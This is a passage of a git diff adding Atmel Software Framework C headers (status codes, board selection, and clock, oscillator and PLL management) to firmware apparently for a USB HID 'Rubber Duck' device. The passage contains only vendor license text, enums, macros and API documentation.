DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef STATUS_CODES_H_INCLUDED +#define STATUS_CODES_H_INCLUDED + +/** + * Status code that may be returned by shell commands and protocol + * implementations. + * + * \note Any change to these status codes and the corresponding + * message strings is strictly forbidden. New codes can be added, + * however, but make sure that any message string tables are updated + * at the same time. + */ +enum status_code { + STATUS_OK = 0, //!< Success + ERR_IO_ERROR = -1, //!< I/O error + ERR_FLUSHED = -2, //!< Request flushed from queue + ERR_TIMEOUT = -3, //!< Operation timed out + ERR_BAD_DATA = -4, //!< Data integrity check failed + ERR_PROTOCOL = -5, //!< Protocol error + ERR_UNSUPPORTED_DEV = -6, //!< Unsupported device + ERR_NO_MEMORY = -7, //!< Insufficient memory + ERR_INVALID_ARG = -8, //!< Invalid argument + ERR_BAD_ADDRESS = -9, //!< Bad address + ERR_BUSY = -10, //!< Resource is busy + ERR_BAD_FORMAT = -11, //!< Data format not recognized + + /** + * \brief Operation in progress + * + * This status code is for driver-internal use when an operation + * is currently being performed. + * + * \note Drivers should never return this status code to any + * callers. It is strictly for internal use. + */ + OPERATION_IN_PROGRESS = -128, +}; + +typedef enum status_code status_code_t; + +#endif /* STATUS_CODES_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/boards/board.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/boards/board.h new file mode 100755 index 0000000..8cc23a9 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/boards/board.h @@ -0,0 +1,194 @@ +/*This file is prepared for Doxygen automatic documentation generation.*/ +/*! \file ********************************************************************* + * + * \brief Standard board header file. + * + * This file includes the appropriate board header file according to the + * defined board (parameter BOARD). + * + * - Compiler: IAR EWAVR/IAR EWAVR32 and GNU GCC for AVR or AVR32 + * - Supported devices: All AVR devices can be used. + * - AppNote: + * + * \author Atmel Corporation: http://www.atmel.com \n + * Support and FAQ: http://support.atmel.no/ + * + ******************************************************************************/ + +/* Copyright (c) 2009 Atmel Corporation. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, this + * list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an Atmel + * AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES + * (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; + * LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND + * ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS + * SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE + * + */ + +#ifndef _BOARD_H_ +#define _BOARD_H_ + +#include "compiler.h" + +#ifdef __cplusplus +extern "C" { +#endif + + +/*! \name Base Boards + */ +//! @{ +#define EVK1100 1 //!< AT32UC3A EVK1100 board. +#define EVK1101 2 //!< AT32UC3B EVK1101 board. +#define UC3C_EK 3 //!< AT32UC3C UC3C_EK board. +#define EVK1104 4 //!< AT32UC3A3 EVK1104 board. +#define EVK1105 5 //!< AT32UC3A EVK1105 board. +#define STK600_RCUC3L0 6 //!< STK600 RCUC3L0 board. +#define UC3L_EK 7 //!< AT32UC3L-EK board. +#define XPLAIN 8 //!< ATxmega128A1 Xplain board. +#define STK600_RC064X 10 //!< ATxmega256A3 STK600 board. +#define STK600_RC100X 11 //!< ATxmega128A1 STK600 board. +#define AVR_HIFI_AUDIO 12 //!< AT32UC3A AVR HiFi Audio board. +#define UC3_A3_XPLAINED 13 //!< ATUC3A3 UC3-A3 Xplained board. +#define UC3_L0_XPLAINED 15 //!< ATUC3L0 UC3-L0 Xplained board. +#define STK600_RCUC3D 16 //!< STK600 RCUC3D board. +#define STK600_RCUC3C0 17 //!< STK600 RCUC3C board. +#define XMEGA_A1_XPLAINED 19 //!< ATxmega128A1 Xplain-A1 board. +#define UC3_L0_XPLAINED_BC 22 //!< ATUC3L0 UC3-L0 Xplained board controller board +#define MEGA1284P_XPLAINED_BC 23 //!< ATmega1284P-Xplained board controller board +#define STK600_RC044X 24 //!< STK600 with RC044X routing card board. +#define STK600_RCUC3B 25 //!< STK600 RCUC3B board. +#define UC3_L0_QT600 26 //!< QT600 UC3L0 MCU board. +#define USER_BOARD 99 //!< User-reserved board (if any). +#define DUMMY_BOARD 100 //!< Dummy board to support board-independent applications (e.g. bootloader) + +//! @} + +/*! \name Extension Boards + */ +//! @{ +#define EXT1102 1 //!< AT32UC3B EXT1102 board +#define MC300 2 //!< AT32UC3 MC300 board +#define SENSORS_XPLAINED_INERTIAL_1 3 //!< Xplained inertial sensor board 1 +#define SENSORS_XPLAINED_INERTIAL_2 4 //!< Xplained inertial sensor board 2 +#define SENSORS_XPLAINED_PRESSURE_1 5 //!< Xplained pressure sensor board +#define SENSORS_XPLAINED_LIGHT_1 6 //!< Xplained light & proximity sensor board +#define SENSORS_XPLAINED_INERTIAL_A1 7 //!< Xplained inertial sensor board "A" + +#define USER_EXT_BOARD 99 //!< User-reserved extension board (if any). +//! @} + +#if BOARD == EVK1100 + #include "evk1100/evk1100.h" +#elif BOARD == EVK1101 + #include "evk1101/evk1101.h" +#elif BOARD == UC3C_EK + #include "uc3c_ek/uc3c_ek.h" +#elif BOARD == EVK1104 + #include "evk1104/evk1104.h" +#elif BOARD == EVK1105 + #include "evk1105/evk1105.h" +#elif BOARD == STK600_RCUC3L0 + #include "stk600/rcuc3l0/stk600_rcuc3l0.h" +#elif BOARD == UC3L_EK + #include "uc3l_ek/uc3l_ek.h" +#elif BOARD == XPLAIN + #include "xplain/xplain.h" +#elif BOARD == STK600_RC044X + #include "stk600/rc044x/stk600_rc044x.h" +#elif BOARD == STK600_RC064X + #include "stk600/rc064x/stk600_rc064x.h" +#elif BOARD == STK600_RC100X + #include "stk600/rc100x/stk600_rc100x.h" +#elif BOARD == AVR_HIFI_AUDIO + #include "avr_hifi_audio/avr_hifi_audio.h" +#elif BOARD == UC3_A3_XPLAINED + #include "uc3_a3_xplained/uc3_a3_xplained.h" +#elif BOARD == UC3_L0_XPLAINED + #include "uc3_l0_xplained/uc3_l0_xplained.h" +#elif BOARD == STK600_RCUC3B + #include "stk600/rcuc3b/stk600_rcuc3b.h" +#elif BOARD == STK600_RCUC3D + #include "stk600/rcuc3d/stk600_rcuc3d.h" +#elif BOARD == STK600_RCUC3C0 + #include "stk600/rcuc3c0/stk600_rcuc3c0.h" +#elif BOARD == XMEGA_A1_XPLAINED + #include "xmega_a1_xplained/xmega_a1_xplained.h" +#elif BOARD == UC3_L0_XPLAINED_BC + #include "uc3_l0_xplained_bc/uc3_l0_xplained_bc.h" +#elif BOARD == MEGA1284P_XPLAINED_BC + #include "mega1284p_xplained_bc/mega1284p_xplained_bc.h" +#elif BOARD == UC3_L0_QT600 + #include "uc3_l0_qt600/uc3_l0_qt600.h" +#elif BOARD == USER_BOARD + // User-reserved area: #include the header file of your board here (if any). + #include "user_board.h" +#elif BOARD == DUMMY_BOARD + #include "dummy/dummy_board.h" +#else + #error No known AVR board defined +#endif + +#if (defined EXT_BOARD) + #if EXT_BOARD == MC300 + #include "mc300/mc300.h" + #elif (EXT_BOARD == SENSORS_XPLAINED_INERTIAL_1) || \ + (EXT_BOARD == SENSORS_XPLAINED_INERTIAL_2) || \ + (EXT_BOARD == SENSORS_XPLAINED_INERTIAL_A1) || \ + (EXT_BOARD == SENSORS_XPLAINED_PRESSURE_1) || \ + (EXT_BOARD == SENSORS_XPLAINED_LIGHT_1) + #include "sensors_xplained/sensors_xplained.h" + #elif EXT_BOARD == USER_EXT_BOARD + // User-reserved area: #include the header file of your extension board here + // (if any). + #endif +#endif + + +#if (defined(__GNUC__) && defined(__AVR32__)) || (defined(__ICCAVR32__) || defined(__AAVR32__)) +#ifdef __AVR32_ABI_COMPILER__ // Automatically defined when compiling for AVR32, not when assembling. + +/*! \brief This function initializes the board target resources + * + * This function should be called to ensure proper initialization of the target + * board hardware connected to the part. + */ +extern void board_init(void); + +#endif // #ifdef __AVR32_ABI_COMPILER__ +#else +/*! \brief This function initializes the board target resources + * + * This function should be called to ensure proper initialization of the target + * board hardware connected to the part. + */ +extern void board_init(void); +#endif + + +#ifdef __cplusplus +} +#endif + +#endif // _BOARD_H_ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/genclk.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/genclk.h new file mode 100755 index 0000000..05f0783 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/genclk.h @@ -0,0 +1,136 @@ +/** + * \file + * + * \brief Generic clock management + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CLK_GENCLK_H_INCLUDED +#define CLK_GENCLK_H_INCLUDED + +#include + +#if (UC3A0 || UC3A1) +# include "uc3a0_a1/genclk.h" +#elif UC3A3 +# include "uc3a3_a4/genclk.h" +#elif UC3B +# include "uc3b0_b1/genclk.h" +#elif UC3C +# include "uc3c/genclk.h" +#elif UC3D +# include "uc3d/genclk.h" +#elif UC3L +# include "uc3l/genclk.h" +#else +# error Unsupported chip type +#endif + +/** + * \ingroup clk_group + * \defgroup genclk_group Generic Clock Management + * + * Generic clocks are configurable clocks which run outside the system + * clock domain. They are often connected to peripherals which have an + * asynchronous component running independently of the bus clock, e.g. + * USB controllers, low-power timers and RTCs, etc. + * + * Note that not all platforms have support for generic clocks; on such + * platforms, this API will not be available. + * + * @{ + */ + +/** + * \def GENCLK_DIV_MAX + * \brief Maximum divider supported by the generic clock implementation + */ +/** + * \enum genclk_source + * \brief Generic clock source ID + * + * Each generic clock may be generated from a different clock source. + * These are the available alternatives provided by the chip. + */ + +//! \name Generic clock configuration +//@{ +/** + * \struct genclk_config + * \brief Hardware representation of a set of generic clock parameters + */ +/** + * \fn void genclk_config_defaults(struct genclk_config *cfg, + * unsigned int id) + * \brief Initialize \a cfg to the default configuration for the clock + * identified by \a id. + */ +/** + * \fn void genclk_config_read(struct genclk_config *cfg, unsigned int id) + * \brief Read the currently active configuration of the clock + * identified by \a id into \a cfg. + */ +/** + * \fn void genclk_config_write(const struct genclk_config *cfg, + * unsigned int id) + * \brief Activate the configuration \a cfg on the clock identified by + * \a id. + */ +/** + * \fn void genclk_config_set_source(struct genclk_config *cfg, + * enum genclk_source src) + * \brief Select a new source clock \a src in configuration \a cfg. + */ +/** + * \fn void genclk_config_set_divider(struct genclk_config *cfg, + * unsigned int divider) + * \brief Set a new \a divider in configuration \a cfg. + */ +//@} + +//! \name Enabling and disabling Generic Clocks +//@{ +/** + * \fn void genclk_enable(const struct genclk_config *cfg, unsigned int id) + * \brief Activate the configuration \a cfg on the clock identified by + * \a id and enable it. + */ +/** + * \fn void genclk_disable(unsigned int id) + * \brief Disable the generic clock identified by \a id. + */ +//@} + +//! @} + +#endif /* CLK_GENCLK_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/osc.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/osc.h new file mode 100755 index 0000000..8429b85 --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/osc.h @@ -0,0 +1,145 @@ +/** + * \file + * + * \brief Oscillator management + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef OSC_H_INCLUDED +#define OSC_H_INCLUDED + +#include +#include "conf_clock.h" + +#if (UC3A0 || UC3A1) +# include "uc3a0_a1/osc.h" +#elif UC3A3 +# include "uc3a3_a4/osc.h" +#elif UC3B +# include "uc3b0_b1/osc.h" +#elif UC3C +# include "uc3c/osc.h" +#elif UC3D +# include "uc3d/osc.h" +#elif UC3L +# include "uc3l/osc.h" +#elif XMEGA +# include "xmega/osc.h" +#else +# error Unsupported chip type +#endif + +/** + * \ingroup clk_group + * \defgroup osc_group Oscillator Management + * + * This group contains functions and definitions related to configuring + * and enabling/disabling on-chip oscillators. Internal RC-oscillators, + * external crystal oscillators and external clock generators are + * supported by this module. What all of these have in common is that + * they swing at a fixed, nominal frequency which is normally not + * adjustable. + * + * \par Example: Enabling an oscillator + * + * The following example demonstrates how to enable the external + * oscillator on XMEGA A and wait for it to be ready to use. The + * oscillator identifiers are platform-specific, so while the same + * procedure is used on all platforms, the parameter to osc_enable() + * will be different from device to device. + * \code + osc_enable(OSC_ID_XOSC); + osc_wait_ready(OSC_ID_XOSC); \endcode + * + * \section osc_group_board Board-specific Definitions + * If external oscillators are used, the board code must provide the + * following definitions for each of those: + * - \b BOARD__HZ: The nominal frequency of the oscillator. + * - \b BOARD__STARTUP_US: The startup time of the + * oscillator in microseconds. + * - \b BOARD__TYPE: The type of oscillator connected, i.e. + * whether it's a crystal or external clock, and sometimes what kind + * of crystal it is. The meaning of this value is platform-specific. + * + * @{ + */ + +//! \name Oscillator Management +//@{ +/** + * \fn void osc_enable(uint8_t id) + * \brief Enable oscillator \a id + * + * The startup time and mode value is automatically determined based on + * definitions in the board code. + */ +/** + * \fn void osc_disable(uint8_t id) + * \brief Disable oscillator \a id + */ +/** + * \fn osc_is_ready(uint8_t id) + * \brief Determine whether oscillator \a id is ready. + * \retval true Oscillator \a id is running and ready to use as a clock + * source. + * \retval false Oscillator \a id is not running. + */ +/** + * \fn uint32_t osc_get_rate(uint8_t id) + * \brief Return the frequency of oscillator \a id in Hz + */ + +#ifndef __ASSEMBLY__ + +/** + * \brief Wait until the oscillator identified by \a id is ready + * + * This function will busy-wait for the oscillator identified by \a id + * to become stable and ready to use as a clock source. + * + * \param id A number identifying the oscillator to wait for. + */ +static inline void osc_wait_ready(uint8_t id) +{ + while (!osc_is_ready(id)) { + /* Do nothing */ + } +} + +#endif /* __ASSEMBLY__ */ + +//@} + +//! @} + +#endif /* OSC_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/pll.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/pll.h new file mode 100755 index 0000000..61056bf --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/pll.h @@ -0,0 +1,277 @@ +/** + * \file + * + * \brief PLL management + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef CLK_PLL_H_INCLUDED +#define CLK_PLL_H_INCLUDED + +#include +#include "conf_clock.h" + +#if (UC3A0 || UC3A1) +# include "uc3a0_a1/pll.h" +#elif UC3A3 +# include "uc3a3_a4/pll.h" +#elif UC3B +# include "uc3b0_b1/pll.h" +#elif UC3C +# include "uc3c/pll.h" +#elif UC3D +# include "uc3d/pll.h" +#elif XMEGA +# include "xmega/pll.h" +#else +# error Unsupported chip type +#endif + +/** + * \ingroup clk_group + * \defgroup pll_group PLL Management + * + * This group contains functions and definitions related to configuring + * and enabling/disabling on-chip PLLs. A PLL will take an input signal + * (the \em source), optionally divide the frequency by a configurable + * \em divider, and then multiply the frequency by a configurable \em + * multiplier. + * + * Some devices don't support input dividers; specifying any other + * divisor than 1 on these devices will result in an assertion failure. + * Other devices may have various restrictions to the frequency range of + * the input and output signals. + * + * \par Example: Setting up PLL0 with default parameters + * + * The following example shows how to configure and enable PLL0 using + * the default parameters specified using the configuration symbols + * listed above, and with Wide Bandwidth Mode disabled (a UC3A3-specific + * PLL option.) + * \code + struct pll_config pllcfg; + + pll_config_defaults(&pllcfg, 0); + pll_config_set_option(&pllcfg, PLL_OPT_WBM_DISABLE); + pll_enable(&pllcfg, 0); + pll_wait_for_lock(0); \endcode + * + * When the last function call returns, PLL0 is ready to be used as the + * main system clock source. + * + * \section pll_group_config Configuration Symbols + * + * Each PLL has a set of default parameters determined by the following + * configuration symbols in the application's configuration file: + * - \b CONFIG_PLLn_SOURCE: The default clock source connected to the + * input of PLL \a n. Must be one of the values defined by the + * #pll_source enum. + * - \b CONFIG_PLLn_MUL: The default multiplier (loop divider) of PLL + * \a n. + * - \b CONFIG_PLLn_DIV: The default input divider of PLL \a n. + * + * These configuration symbols determine the result of calling + * pll_config_defaults() and pll_get_default_rate(). + * + * @{ + */ + +//! \name Chip-specific PLL characteristics +//@{ +/** + * \def PLL_MAX_STARTUP_CYCLES + * \brief Maximum PLL startup time in number of slow clock cycles + */ +/** + * \def NR_PLLS + * \brief Number of on-chip PLLs + */ + +/** + * \def PLL_MIN_HZ + * \brief Minimum frequency that the PLL can generate + */ +/** + * \def PLL_MAX_HZ + * \brief Maximum frequency that the PLL can generate + */ +/** + * \def PLL_NR_OPTIONS + * \brief Number of PLL option bits + */ +//@} + +/** + * \enum pll_source + * \brief PLL clock source + */ + +//! \name PLL configuration +//@{ + +/** + * \struct pll_config + * \brief Hardware-specific representation of PLL configuration. + * + * This structure contains one or more device-specific values + * representing the current PLL configuration. The contents of this + * structure is typically different from platform to platform, and the + * user should not access any fields except through the PLL + * configuration API. + */ + +/** + * \fn void pll_config_init(struct pll_config *cfg, + * enum pll_source src, unsigned int div, unsigned int mul) + * \brief Initialize PLL configuration from standard parameters. + * + * \note This function may be defined inline because it is assumed to be + * called very few times, and usually with constant parameters. Inlining + * it will in such cases reduce the code size significantly. + * + * \param cfg The PLL configuration to be initialized. + * \param src The oscillator to be used as input to the PLL. + * \param div PLL input divider. + * \param mul PLL loop divider (i.e. multiplier). + * + * \return A configuration which will make the PLL run at + * (\a mul / \a div) times the frequency of \a src + */ +/** + * \def pll_config_defaults(cfg, pll_id) + * \brief Initialize PLL configuration using default parameters. + * + * After this function returns, \a cfg will contain a configuration + * which will make the PLL run at (CONFIG_PLLx_MUL / CONFIG_PLLx_DIV) + * times the frequency of CONFIG_PLLx_SOURCE. + * + * \param cfg The PLL configuration to be initialized. + * \param pll_id Use defaults for this PLL. + */ +/** + * \def pll_get_default_rate(pll_id) + * \brief Get the default rate in Hz of \a pll_id + */ +/** + * \fn void pll_config_set_option(struct pll_config *cfg, + * unsigned int option) + * \brief Set the PLL option bit \a option in the configuration \a cfg. + * + * \param cfg The PLL configuration to be changed. + * \param option The PLL option bit to be set. + */ +/** + * \fn void pll_config_clear_option(struct pll_config *cfg, + * unsigned int option) + * \brief Clear the PLL option bit \a option in the configuration \a cfg. + * + * \param cfg The PLL configuration to be changed. + * \param option The PLL option bit to be cleared. + */ +/** + * \fn void pll_config_read(struct pll_config *cfg, unsigned int pll_id) + * \brief Read the currently active configuration of \a pll_id. + * + * \param cfg The configuration object into which to store the currently + * active configuration. + * \param pll_id The ID of the PLL to be accessed. + */ +/** + * \fn void pll_config_write(const struct pll_config *cfg, + * unsigned int pll_id) + * \brief Activate the configuration \a cfg on \a pll_id + * + * \param cfg The configuration object representing the PLL + * configuration to be activated. + * \param pll_id The ID of the PLL to be updated. + */ + +//@} + +//! \name Interaction with the PLL hardware +//@{ +/** + * \fn void pll_enable(const struct pll_config *cfg, + * unsigned int pll_id) + * \brief Activate the configuration \a cfg and enable PLL \a pll_id. + * + * \param cfg The PLL configuration to be activated. + * \param pll_id The ID of the PLL to be enabled. + */ +/** + * \fn void pll_disable(unsigned int pll_id) + * \brief Disable the PLL identified by \a pll_id. + * + * After this function is called, the PLL identified by \a pll_id will + * be disabled. The PLL configuration stored in hardware may be affected + * by this, so if the caller needs to restore the same configuration + * later, it should either do a pll_config_read() before disabling the + * PLL, or remember the last configuration written to the PLL. + * + * \param pll_id The ID of the PLL to be disabled. + */ +/** + * \fn bool pll_is_locked(unsigned int pll_id) + * \brief Determine whether the PLL is locked or not. + * + * \param pll_id The ID of the PLL to check. + * + * \retval true The PLL is locked and ready to use as a clock source + * \retval false The PLL is not yet locked, or has not been enabled. + */ + +/** + * \brief Wait for PLL \a pll_id to become locked + * + * \todo Use a timeout to avoid waiting forever and hanging the system + * + * \param pll_id The ID of the PLL to wait for. + * + * \retval STATUS_OK The PLL is now locked. + * \retval ERR_TIMEOUT Timed out waiting for PLL to become locked. + */ +static inline int pll_wait_for_lock(unsigned int pll_id) +{ + Assert(pll_id < NR_PLLS); + + while (!pll_is_locked(pll_id)) { + /* Do nothing */ + } + + return 0; +} + +//@} +//! @} + +#endif /* CLK_PLL_H_INCLUDED */ diff --git a/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/sysclk.h b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/sysclk.h new file mode 100755 index 0000000..d106ebf --- /dev/null +++ b/Rubber_Duck/HAK/Firmware/Source/Duck_HID/src/asf/common/services/clock/sysclk.h @@ -0,0 +1,150 @@ +/** + * \file + * + * \brief System clock management + * + * Copyright (C) 2010 Atmel Corporation. All rights reserved. + * + * \page License + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions are met: + * + * 1. Redistributions of source code must retain the above copyright notice, + * this list of conditions and the following disclaimer. + * + * 2. Redistributions in binary form must reproduce the above copyright notice, + * this list of conditions and the following disclaimer in the documentation + * and/or other materials provided with the distribution. + * + * 3. The name of Atmel may not be used to endorse or promote products derived + * from this software without specific prior written permission. + * + * 4. This software may only be redistributed and used in connection with an + * Atmel AVR product. + * + * THIS SOFTWARE IS PROVIDED BY ATMEL "AS IS" AND ANY EXPRESS OR IMPLIED + * WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF + * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT ARE + * EXPRESSLY AND SPECIFICALLY DISCLAIMED. IN NO EVENT SHALL ATMEL BE LIABLE FOR + * ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR + * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER + * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH + * DAMAGE. + */ +#ifndef SYSCLK_H_INCLUDED +#define SYSCLK_H_INCLUDED + +#include +#include "conf_clock.h" + +#if (UC3A0 || UC3A1) +# include "uc3a0_a1/sysclk.h" +#elif UC3A3 +# include "uc3a3_a4/sysclk.h" +#elif UC3B +# include "uc3b0_b1/sysclk.h" +#elif UC3C +# include "uc3c/sysclk.h" +#elif UC3D +# include "uc3d/sysclk.h" +#elif UC3L +# include "uc3l/sysclk.h" +#elif XMEGA +# include "xmega/sysclk.h" +#else +# error Unsupported chip type +#endif + +/** + * \defgroup clk_group Clock Management + */ + +/** + * \ingroup clk_group + * \defgroup sysclk_group System Clock Management + * + * The sysclk API covers the system clock and all + * clocks derived from it. The system clock is a chip-internal clock on + * which all synchronous clocks, i.e. CPU and bus/peripheral + * clocks, are based. The system clock is typically generated from one + * of a variety of sources, which may include crystal and RC oscillators + * as well as PLLs. The clocks derived from the system clock are + * sometimes also known as synchronous clocks, since they + * always run synchronously with respect to each other, as opposed to + * generic clocks which may run from different oscillators or + * PLLs. + * + * Most applications should simply call sysclk_init() to initialize + * everything related to the system clock and its source (oscillator, + * PLL or DFLL), and leave it at that. More advanced applications, and + * platform-specific drivers, may require additional services from the + * clock system, some of which may be platform-specific. + * + * \section sysclk_group_platform Platform Dependencies + * + * The sysclk API is partially chip- or platform-specific. While all + * platforms provide mostly the same functionality, there are some + * variations around how different bus types and clock tree structures + * are 